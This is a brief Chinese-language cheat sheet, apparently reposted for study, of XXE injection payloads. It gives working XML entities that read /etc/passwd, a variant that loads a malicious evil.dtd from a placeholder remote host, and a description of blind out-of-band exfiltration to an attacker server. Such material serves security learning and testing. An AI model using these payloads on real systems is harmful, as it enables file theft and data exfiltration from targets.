转载学习于红日安全
一、有回显
(1)直接将外部实体引用的URI设置为敏感目录
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的内容:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
二、无回显
可以使用外带数据通道提取数据,先使用 filter:/// 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。实体 remote,all,send 的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml 引入到解释上下文中,然后执行 %all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发

也可以直接在 DTD 中引用 send 实体,如果在 evil.xml 中,send 是个参数实体的话
